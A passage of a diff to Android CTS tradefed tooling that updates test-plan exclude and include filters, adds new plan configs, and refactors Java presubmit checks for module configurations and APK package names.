-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.lifecycle.ActivityLifecycleTests#testLocalRecreate" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.lifecycle.ActivityLifecycleTests#testOnNewIntentFromHidden" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.lifecycle.ActivityLifecycleTests#testTranslucentMovedIntoStack" />
-
-    <!-- b/235525919 -->
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.ActivityMetricsLoggerTests#testAppRelaunchSetsWaitResultDelayData" />
-
-    <!-- b/232962180 -->
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.TransitionSelectionTests#testCloseTask_BothWallpaper" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.TransitionSelectionTests#testCloseTask_BothWallpaper_SlowStop" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.TransitionSelectionTests#testCloseTask_BothWallpaper_Translucent" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.TransitionSelectionTests#testCloseTask_BottomWallpaper_TopNonResizable" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.TransitionSelectionTests#testCloseTask_BottomWallpaper_TopNonResizable_SlowStop" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.TransitionSelectionTests#testOpenTask_BothWallpaper" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.TransitionSelectionTests#testOpenTask_BottomWallpaper_TopNonResizable" />
-
-    <!-- b/224400993 -->
-    <option name="compatibility:exclude-filter"
-        value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testSuspendPackage" />
-    <option name="compatibility:exclude-filter"
-        value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testSuspendPackage" />
-    <option name="compatibility:exclude-filter"
-        value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testSuspendPackage" />
-
-    <!-- b/231671153: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
-            launcher always visible on one of the screens. -->
-    <option name="compatibility:exclude-filter"
-        value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
-
-    <!-- b/233294162 -->
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.AttachedSurfaceControlTest#testOnBufferTransformHintChangedListener" />
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases[foldable:1:OPEN] android.view.cts.AttachedSurfaceControlTest#testOnBufferTransformHintChangedListener" />
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases[foldable:2:HALF-OPEN] android.view.cts.AttachedSurfaceControlTest#testOnBufferTransformHintChangedListener" />
-    <!-- b/233298534 -->
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.AttachedSurfaceControlTest#testOnBufferTransformHintChangesFromLandToSea" />
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases[foldable:1:OPEN] android.view.cts.AttachedSurfaceControlTest#testOnBufferTransformHintChangesFromLandToSea" />
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases[foldable:2:HALF-OPEN] android.view.cts.AttachedSurfaceControlTest#testOnBufferTransformHintChangesFromLandToSea" />
-
-    <!-- b/233720451 -->
-    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest910HostTestCases android.jvmti.cts.JvmtiHostTest910#testJvmti" />
-    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest912HostTestCases android.jvmti.cts.JvmtiHostTest912#testJvmti" />
-    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest913HostTestCases android.jvmti.cts.JvmtiHostTest913#testJvmti" />
-    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest988HostTestCases android.jvmti.cts.JvmtiHostTest988#testJvmti" />
-
-    <!-- b/198682652 -->
-    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.cts.TelephonyCallbackTest#testOnLinkCapacityEstimateChangedByRegisterPhoneStateListener" />
-
-    <!-- b/238849936 -->
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testPipFromTaskWithMultipleActivitiesAndFinishOriginalTask" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.SplitActivityLifecycleTest#testTranslucentAdjacentTaskFragment" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.TaskFragmentOrganizerPolicyTest#testStartAnotherAppActivityInTaskFragment" />
+    <!-- b/205492302 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testSetCameraDisabled" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-media-performance-class.xml b/tools/cts-tradefed/res/config/cts-media-performance-class.xml
new file mode 100644
index 0000000..524ff72
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-media-performance-class.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests for media performance class validation">
+    <option name="plan" value="cts-media-performance-class" />
+
+    <!-- Common CTS config -->
+    <include name="cts" />
+
+    <option name="compatibility:include-filter" value="CtsMediaPerformanceClassTestCases" />
+
+    <option name="compatibility:include-filter" value="CtsFileSystemTestCases android.filesystem.cts.SequentialRWTest" />
+    <option name="compatibility:include-filter" value="CtsFileSystemTestCases android.filesystem.cts.RandomRWTest" />
+
+    <option name="compatibility:include-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraPerfClassCharacteristics" />
+    <option name="compatibility:include-filter" value="CtsCameraApi31TestCases android.camera.cts.api31test.SPerfClassTest#testSPerfClassJpegSizes" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-meerkat.xml b/tools/cts-tradefed/res/config/cts-meerkat.xml
index 6bc6b30..31aed81 100644
--- a/tools/cts-tradefed/res/config/cts-meerkat.xml
+++ b/tools/cts-tradefed/res/config/cts-meerkat.xml
@@ -39,7 +39,7 @@
     <!-- System Alert Window (SAW) -->
     <option name="compatibility:include-filter" value="CtsSystemIntentTestCases"/>
     <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.HideOverlayWindowsTest"/>
-    <option name="compatibility:include-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest"/>
+    <option name="compatibility:include-filter" value="CtsMediaMiscTestCases android.media.misc.cts.MediaProjectionTest"/>
 
     <!-- Toasts -->
     <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.ToastWindowTest"/>
diff --git a/tools/cts-tradefed/res/config/cts-multidevice.xml b/tools/cts-tradefed/res/config/cts-multidevice.xml
new file mode 100644
index 0000000..74531547
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-multidevice.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS multi device test from a pre-existing CTS installation">
+
+    <include name="cts-common" />
+
+    <option name="plan" value="cts-multidevice" />
+
+    <!-- CTS multi device test cases only-->
+    <option name="multi-devices-modules" value="ONLY_MULTI_DEVICES" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml b/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml
index 9b6250d..bd4153b 100644
--- a/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml
@@ -61,23 +61,14 @@
     <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
 
     <!-- b/161837932: Fix MediaPlayerTests that use "too small" resolution -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testOnSubtitleDataListener" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testChangeSubtitleTrack" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testDeselectTrackForSubtitleTracks" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testGetTrackInfoForVideoWithSubtitleTracks" />
-
-    <!-- b/74583365: CtsAppSecurityHostTestCases flaky -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testApps " />
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testEjected" />
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testPackageInstaller" />
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testPrimaryStorage" />
+    <option name="compatibility:exclude-filter" value="CtsMediaPlayerTestCases android.media.player.cts.MediaPlayerTest#testOnSubtitleDataListener" />
+    <option name="compatibility:exclude-filter" value="CtsMediaPlayerTestCases android.media.player.cts.MediaPlayerTest#testChangeSubtitleTrack" />
+    <option name="compatibility:exclude-filter" value="CtsMediaPlayerTestCases android.media.player.cts.MediaPlayerTest#testDeselectTrackForSubtitleTracks" />
+    <option name="compatibility:exclude-filter" value="CtsMediaPlayerTestCases android.media.player.cts.MediaPlayerTest#testGetTrackInfoForVideoWithSubtitleTracks" />
 
     <!-- b/152359655: ResumeOnReboot can't work on GSI -->
     <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ResumeOnRebootHostTest" />
 
-    <!-- b/77175538: CtsViewTestCases failure flaky -->
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.PixelCopyTest#testWindowProducerCopyToRGBA16F" />
-
     <!-- b/73727333: CtsSystemUiTestCases failure flaky -->
     <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
 
@@ -117,18 +108,6 @@
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSu" />
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSuInPath" />
 
-    <!-- b/116170534: CtsMediaTestCases regression (9.0 R4 waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.DecoderTest#testH265HDR10StaticMetadata" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCornerCase" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCornerCase2" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCubicMonotonic" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerDuck" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerJoin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerRamp" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerRunDuringPauseStop" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerStepRamp" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerTwoShapers" />
-
     <!-- b/157286547 CtsIncidentHostTestCases ErrorsTest failure -->
     <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testNativeCrash" />
 
@@ -144,9 +123,6 @@
     <option name="compatibility:exclude-filter" value="CtsAppPredictionServiceTestCases" />
     <option name="compatibility:exclude-filter" value="CtsContentSuggestionsTestCases" />
 
-    <!-- b/143513519: CtsCameraTestCases (10_r3 waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.camera.cts.HeifWriterTest#testHeif"/>
-
     <!-- b/155107044: CtsNetTestCases -->
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp4"/>
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp4UdpEncap"/>
@@ -215,10 +191,6 @@
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.TrafficStatsTest#testTrafficStatsForLocalhost"/>
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.TrafficStatsTest#testValidTotalStats"/>
 
-    <!-- b/150807956: Temporarily disabled due to bad experiment channel -->
-    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithLayerAndComplexClip" />
-    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
-
     <!-- b/159295445, b/159294948: CtsDevicePolicyManagerTestCases -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testDelegatedCertInstallerDeviceIdAttestation" />
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testDelegatedCertInstallerDeviceIdAttestation" />
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-cf.xml b/tools/cts-tradefed/res/config/cts-on-csi-cf.xml
index 3d5ecaa..6d55fe2 100644
--- a/tools/cts-tradefed/res/config/cts-on-csi-cf.xml
+++ b/tools/cts-tradefed/res/config/cts-on-csi-cf.xml
@@ -41,7 +41,16 @@
     <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases" />
     <option name="compatibility:exclude-filter" value="CtsMediaBitstreamsTestCases" />
     <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaAudioTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaCodecTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaDecoderTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaDrmFrameworkTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaExtractorTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaMiscTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaMuxerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaPlayerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaRecorderTestCases" />
     <option name="compatibility:exclude-filter" value="CtsMediaV2TestCases" />
     <option name="compatibility:exclude-filter" value="CtsNativeHardwareTestCases" />
     <option name="compatibility:exclude-filter" value="CtsOpenGLTestCases" />
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
index a99c656..dc93565 100644
--- a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
+++ b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
@@ -159,8 +159,8 @@
     <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testManageStorage" />
 
     <!-- No SystemUI -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.AudioPlaybackCaptureTest" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest" />
+    <option name="compatibility:exclude-filter" value="CtsMediaAudioTestCases android.media.audio.cts.AudioPlaybackCaptureTest" />
+    <option name="compatibility:exclude-filter" value="CtsMediaMiscTestCases android.media.misc.cts.MediaProjectionTest" />
     <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest22#testCompatRevoked" />
     <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testGranted" />
     <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testRevokeAffectsWholeGroup" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 318341b..7bfbd39 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -120,17 +120,4 @@
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Udp6" />
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Udp4UdpEncap" />
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Tcp4UdpEncap" />
-
-    <!-- CtsCameraTestCases 12.1_r2 (b/234409652) Devices with variable geomerty cannot satisfy this requirement -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice"/>
-
-     <!-- b/238200108 -->
-    <option name="compatibility:exclude-filter" value="CtsScopedStorageDeviceOnlyTest android.scopedstorage.cts.device.ScopedStorageDeviceTest#testOpenContentResolverFirstWriteFilePath[volume=external]" />
-    <option name="compatibility:exclude-filter" value="CtsScopedStorageDeviceOnlyTest android.scopedstorage.cts.device.ScopedStorageDeviceTest#testOpenContentResolverDup[volume=external]" />
-    <option name="compatibility:exclude-filter" value="CtsScopedStorageDeviceOnlyTest android.scopedstorage.cts.device.ScopedStorageDeviceTest#testOpenContentResolverFirstWriteContentResolver[volume=external]" />
-    <option name="compatibility:exclude-filter" value="CtsScopedStorageDeviceOnlyTest android.scopedstorage.cts.device.ScopedStorageDeviceTest#testOpenContentResolverWriteOnly[volume=external]" />
-    <option name="compatibility:exclude-filter" value="CtsScopedStorageDeviceOnlyTest android.scopedstorage.cts.device.ScopedStorageDeviceTest#testOpenContentResolverFirstWriteFilePath[volume=volume_public]" />
-    <option name="compatibility:exclude-filter" value="CtsScopedStorageDeviceOnlyTest android.scopedstorage.cts.device.ScopedStorageDeviceTest#testOpenContentResolverDup[volume=volume_public]" />
-    <option name="compatibility:exclude-filter" value="CtsScopedStorageDeviceOnlyTest android.scopedstorage.cts.device.ScopedStorageDeviceTest#testOpenContentResolverFirstWriteContentResolver[volume=volume_public]" />
-    <option name="compatibility:exclude-filter" value="CtsScopedStorageDeviceOnlyTest android.scopedstorage.cts.device.ScopedStorageDeviceTest#testOpenContentResolverWriteOnly[volume=volume_public]" />
 </configuration>
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
index b50c906..841357b 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
@@ -23,19 +23,20 @@
 import com.android.tradefed.config.ConfigurationException;
 import com.android.tradefed.config.ConfigurationFactory;
 import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.config.IDeviceConfiguration;
 import com.android.tradefed.targetprep.ITargetPreparer;
 import com.android.tradefed.targetprep.PushFilePreparer;
 import com.android.tradefed.targetprep.TestAppInstallSetup;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.InstrumentationTest;
 import com.android.tradefed.util.AaptParser;
+import com.android.tradefed.util.FileUtil;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
 import java.io.File;
-import java.io.FilenameFilter;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.HashSet;
@@ -68,83 +69,81 @@
             fail(String.format("%s does not exists", testcases));
             return;
         }
-        File[] listConfig = testcases.listFiles(new FilenameFilter() {
-            @Override
-            public boolean accept(File dir, String name) {
-                if (name.endsWith(".config")) {
-                    return true;
-                }
-                return false;
-            }
-        });
-        assertTrue(listConfig.length > 0);
+        Set<File> listConfigs = FileUtil.findFilesObject(testcases, ".*\\.config");
+        assertTrue(listConfigs.size() > 0);
         // We check all apk installed by all modules
         Map<String, String> packageNames = new HashMap<>();
 
-        for (File config : listConfig) {
+        for (File config : listConfigs) {
             IConfiguration c = ConfigurationFactory.getInstance()
                     .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
             // For each config, we check all the apk it's going to install
             List<File> apkNames = new ArrayList<>();
             List<String> packageListNames = new ArrayList<>();
-            for (ITargetPreparer prep : c.getTargetPreparers()) {
-                if (prep instanceof TestAppInstallSetup) {
-                    apkNames.addAll(((TestAppInstallSetup) prep).getTestsFileName());
-                }
-                // Ensure the files requested to be pushed exist.
-                if (prep instanceof FilePusher && ((FilePusher) prep).shouldAppendBitness()) {
-                    for (File f : ((PushFilePreparer) prep).getPushSpecs(null).values()) {
-                        String path = f.getPath();
-                        if (!new File(testcases, path + "32").exists()
-                                || !new File(testcases, path + "64").exists()) {
-                            // TODO: Enforce should abort on failure is True in CTS
-                            if (((FilePusher) prep).shouldAbortOnFailure()) {
-                                fail(
-                                        String.format(
-                                                "File %s[32/64] wasn't found in testcases/ while "
-                                                        + "it's expected to be pushed as part of "
-                                                        + "%s",
-                                                path, config.getName()));
+            for (IDeviceConfiguration dConfig : c.getDeviceConfig()) {
+                for (ITargetPreparer prep : dConfig.getTargetPreparers()) {
+                    if (prep instanceof TestAppInstallSetup) {
+                        apkNames.addAll(((TestAppInstallSetup) prep).getTestsFileName());
+                    }
+                    // Ensure the files requested to be pushed exist.
+                    if (prep instanceof FilePusher && ((FilePusher) prep).shouldAppendBitness()) {
+                        for (File f : ((PushFilePreparer) prep).getPushSpecs(null).values()) {
+                            String path = f.getPath();
+                            File file32 = FileUtil.findFile(config.getParentFile(), path + "32");
+                            File file64 = FileUtil.findFile(config.getParentFile(), path + "64");
+                            if (file32 == null || file64 == null) {
+                                // TODO: Enforce should abort on failure is True in CTS
+                                if (((FilePusher) prep).shouldAbortOnFailure()) {
+                                    fail(
+                                            String.format(
+                                                    "File %s[32/64] wasn't found in module "
+                                                            + "dependencies while "
+                                                            + "it's expected to be pushed as part"
+                                                            + " of %s. Make sure that it's added in the Android.bp file of the module under 'data' field.",
+                                                    path, config.getName()));
+                                }
                             }
                         }
-                    }
-                } else if (prep instanceof PushFilePreparer) {
-                    for (File f : ((PushFilePreparer) prep).getPushSpecs(null).values()) {
-                        String path = f.getPath();
-                        if (!new File(testcases, path).exists()) {
-                            // TODO: Enforce should abort on failure is True in CTS
-                            if (((PushFilePreparer) prep).shouldAbortOnFailure()) {
-                                fail(
-                                        String.format(
-                                                "File %s wasn't found in testcases/ while it's "
-                                                        + "expected to be pushed as part of %s",
-                                                path, config.getName()));
+                    } else if (prep instanceof PushFilePreparer) {
+                        for (File f : ((PushFilePreparer) prep).getPushSpecs(null).values()) {
+                            String path = f.getPath();
+                            File toBePushed = FileUtil.findFile(config.getParentFile(), path);
+                            if (toBePushed == null) {
+                                // TODO: Enforce should abort on failure is True in CTS
+                                if (((PushFilePreparer) prep).shouldAbortOnFailure()) {
+                                    fail(
+                                            String.format(
+                                                    "File %s wasn't found in module dependencies "
+                                                            + "while it's expected to be pushed "
+                                                            + "as part of %s. Make sure that it's added in the Android.bp file of the module under 'data' field.",
+                                                    path, config.getName()));
+                                }
                             }
                         }
                     }
                 }
-            }
 
-            for (File apk : apkNames) {
-                String apkName = apk.getName();
-                File apkFile = new File(testcases, apkName);
-                if (!apkFile.exists()) {
-                    fail(String.format("Module %s is trying to install %s which does not "
-                            + "exists in testcases/", config.getName(), apkFile));
-                }
-                AaptParser res = AaptParser.parse(apkFile);
-                assertNotNull(res);
-                String packageName = res.getPackageName();
-                String put = packageNames.put(packageName, apkName);
-                packageListNames.add(packageName);
-                // The package already exists and it's a different apk
-                if (put != null && !apkName.equals(put) && !EXCEPTION_LIST.contains(packageName)) {
-                    fail(String.format("Module %s: Package name '%s' from apk '%s' was already "
-                            + "added by previous apk '%s'.",
-                            config.getName(), packageName, apkName, put));
+                // All apks need to be in the config dir or sub-dir
+                for (File apk : apkNames) {
+                    String apkName = apk.getName();
+                    File apkFile = FileUtil.findFile(config.getParentFile(), apkName);
+                    if (apkFile == null || !apkFile.exists()) {
+                        fail(String.format("Module %s is trying to install %s which does not "
+                                + "exists in testcases/. Make sure that it's added in the Android.bp file of the module under 'data' field.", config.getName(), apkName));
+                    }
+                    AaptParser res = AaptParser.parse(apkFile);
+                    assertNotNull(res);
+                    String packageName = res.getPackageName();
+                    String put = packageNames.put(packageName, apkName);
+                    packageListNames.add(packageName);
+                    // The package already exists and it's a different apk
+                    if (put != null && !apkName.equals(put) && !EXCEPTION_LIST.contains(packageName)) {
+                        fail(String.format("Module %s: Package name '%s' from apk '%s' was already "
+                                + "added by previous apk '%s'.",
+                                config.getName(), packageName, apkName, put));
+                    }
                 }
             }
-
             // Catch a test trying to run something it doesn't install.
             List<IRemoteTest> tests = c.getTests();
             for (IRemoteTest test : tests) {
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index 65bb7f5..ed45728 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -27,16 +27,22 @@
 import com.android.tradefed.config.ConfigurationException;
 import com.android.tradefed.config.ConfigurationFactory;
 import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.config.IDeviceConfiguration;
 import com.android.tradefed.invoker.ExecutionFiles.FilesKey;
+import com.android.tradefed.invoker.InvocationContext;
 import com.android.tradefed.invoker.TestInformation;
 import com.android.tradefed.invoker.shard.token.TokenProperty;
+import com.android.tradefed.targetprep.DeviceSetup;
 import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.PythonVirtualenvPreparer;
 import com.android.tradefed.testtype.AndroidJUnitTest;
+import com.android.tradefed.testtype.GTest;
 import com.android.tradefed.testtype.HostTest;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.ITestFilterReceiver;
 import com.android.tradefed.testtype.suite.ITestSuite;
 import com.android.tradefed.testtype.suite.params.ModuleParameters;
+import com.android.tradefed.util.FileUtil;
 
 import org.junit.Assert;
 import org.junit.Test;
@@ -44,7 +50,7 @@
 import org.junit.runners.JUnit4;
 
 import java.io.File;
-import java.io.FilenameFilter;
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
@@ -52,6 +58,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.regex.Pattern;
 
 /**
  * Test that configuration in CTS can load and have expected properties.
@@ -59,6 +66,7 @@
 @RunWith(JUnit4.class)
 public class CtsConfigLoadingTest {
 
+    private static final Pattern TODO_BUG_PATTERN = Pattern.compile(".*TODO\\(b/[0-9]+\\).*", Pattern.DOTALL);
     private static final String METADATA_COMPONENT = "component";
     private static final Set<String> KNOWN_COMPONENTS =
             new HashSet<>(
@@ -133,8 +141,10 @@
             "com.drawelements.deqp.runner.DeqpTestRunner",
             // Tradefed runners
             "com.android.tradefed.testtype.AndroidJUnitTest",
+            "com.android.tradefed.testtype.ArtRunTest",
             "com.android.tradefed.testtype.HostTest",
-            "com.android.tradefed.testtype.GTest"
+            "com.android.tradefed.testtype.GTest",
+            "com.android.tradefed.testtype.mobly.MoblyBinaryHostTest"
     ));
 
     /**
@@ -189,45 +199,59 @@
             fail(String.format("%s does not exists", testcases));
             return;
         }
-        File[] listConfig = testcases.listFiles(new FilenameFilter() {
-            @Override
-            public boolean accept(File dir, String name) {
-                if (name.endsWith(".config")) {
-                    return true;
-                }
-                return false;
-            }
-        });
-        assertTrue(listConfig.length > 0);
